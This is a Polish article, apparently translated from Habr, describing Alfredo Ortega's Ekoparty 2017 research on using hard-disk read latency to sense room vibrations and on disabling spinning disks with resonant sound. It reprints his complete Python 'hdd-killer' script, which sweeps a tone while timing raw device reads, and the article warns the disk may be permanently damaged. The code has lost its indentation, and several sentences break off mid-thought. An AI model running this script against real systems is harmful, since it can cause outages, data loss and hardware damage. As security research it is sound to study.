Na konferencji poświęconej bezpieczeństwu komputerowemu Ekoparty 2017 w Buenos Aires argentyński haker Alfredo Ortega pokazał bardzo ciekawe rozwiązanie – system do tajnego podsłuchiwania pomieszczeń bez użycia mikrofonu. Dźwięk
Dysk twardy wychwytuje głównie dźwięki o wysokiej intensywności i niskiej częstotliwości, kroki i inne wibracje. Ludzka mowa nie została jeszcze rozpoznana, chociaż naukowcy
Dźwięk to wibracja powietrza lub innego ośrodka. Osoba odbiera je przez błonę bębenkową, która przenosi wibracje do ucha wewnętrznego. Mikrofon zaprojektowany jest mniej więcej tak, jak ucho – tutaj również wibracje rejestrowane są przez cienką membranę, która wzbudza impuls elektryczny. Dysk twardy jest oczywiście również narażony na mikroskopijne wibracje spowodowane wahaniami otaczającego powietrza. Wiadomo to nawet z właściwości technicznych dysków twardych: producenci zwykle wskazują maksymalny dopuszczalny poziom wibracji, a sam dysk twardy często próbuje umieścić go w odpornym na wibracje pojemniku wykonanym z gumy lub innego materiału izolacyjnego. Z tego łatwo wywnioskować, że dźwięki można nagrywać na dysku twardym. Pozostaje tylko dowiedzieć się, jak to zrobić.
Alfredo Ortega zaproponował unikalną wersję ataku bocznego, a mianowicie atak czasowy. Atak ten opiera się na założeniu, że na urządzeniu wykonywane są różne operacje w różnym czasie, w zależności od podanych danych wejściowych. W tym przypadku „danymi wejściowymi” są drgania głowicy czytającej oraz talerza dysku twardego, które korelują z wibracjami otoczenia, czyli dźwiękiem. Zatem mierząc czas obliczeń i przeprowadzając analizę statystyczną danych, można zmierzyć drgania głowicy/talerza, a tym samym wibracje nośnika. Im dłuższe opóźnienie odczytu danych, tym silniejsze wibracje dysku twardego, a co za tym idzie, głośniejszy dźwięk.
Jak zmierzyć wibracje dysku twardego? Bardzo proste: wystarczy uruchomić wywołanie systemowe read ()
— i zapisz czas potrzebny na wykonanie. Nowoczesne systemy operacyjne pozwalają na odczytanie czasu wywołań systemowych z dokładnością do nanosekund.
Szybkość odczytu informacji z sektora zależy od położenia głowicy i talerza, co koreluje z wibracjami obudowy dysku twardego. To wszystko.
Analizę statystyczną przeprowadza się za pomocą prostego narzędzia o nazwie Kscope. Jak mówią, wszystko genialne jest proste.
Narzędzie Kscope (wywołanie systemowe stat())
Kscope to małe narzędzie do wizualizacji niewielkich różnic w czasie wykonywania wywołań systemowych. Źródło
W osobnym repozytorium read ()
.
Demonstracja nagrywania dźwięku przy użyciu dysku twardego, obsługa narzędzia Kscope
Oczywiście mowy nie można rozumieć w ten sposób, ale dysk twardy jest całkiem odpowiedni jako czujnik wibracji. Można np. zarejestrować, czy osoba w twardych butach lub boso weszła do pokoju z komputerem (prawdopodobnie, jeśli napastnik ma na sobie miękkie tenisówki lub na podłodze leży gruby dywan, dysk twardy nie będzie w stanie zarejestrować wibracji - warto to sprawdzić). Komputer jest w stanie zarejestrować stłuczone szkło lub inne zdarzenia o dużym natężeniu dźwięku. Oznacza to, że dysk twardy może służyć jako rodzaj systemu wykrywania nieautoryzowanych włamań.
Zabójca dysku twardego
Nawiasem mówiąc, podobną technikę można zastosować do wyłączania dysków twardych. Tylko tutaj nie usuwamy oscylacji z dysku twardego, a wręcz przeciwnie, generujemy oscylacje, które są podawane na dysk twardy. Jeśli odtwarzasz dźwięk z głośnika z częstotliwością rezonującą z częstotliwością dysku twardego, system wkrótce wyłączy urządzenie z błędem wejścia/wyjścia (jądro Linuksa całkowicie wyłączy dysk twardy po 120 sekundach). Sam dysk twardy może ulec nieodwracalnemu uszkodzeniu.
Jądro Linuksa wyłączyło dysk twardy po 120 sekundach dostarczania dźwięku o częstotliwości rezonansowej przez głośnik głośnika USB Edifier r19u. Głośnik włącza się na około jedną czwartą mocy (mniej niż 100 mW) i znajduje się 20 cm od dysku twardego, skierowany w stronę stołu, aby zwiększyć wibracje. Rama z
Ciekawe, że takie „ataki” na dyski twarde czasami zdarzają się zupełnie przypadkowo w życiu codziennym. Na przykład we wrześniu 2016 r. centrum danych ING Banku zostało zmuszone do zawieszenia działalności na 10 godzin po ćwiczeniach przeciwpożarowych.
Demonstracja ludzkiego krzyku na dyskach twardych w centrum danych. Pomiar opóźnienia
Aby wygenerować rezonujący dźwięk, Alfredo Ortega napisał skrypt w języku Python o nazwie
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
Źródło: www.habr.com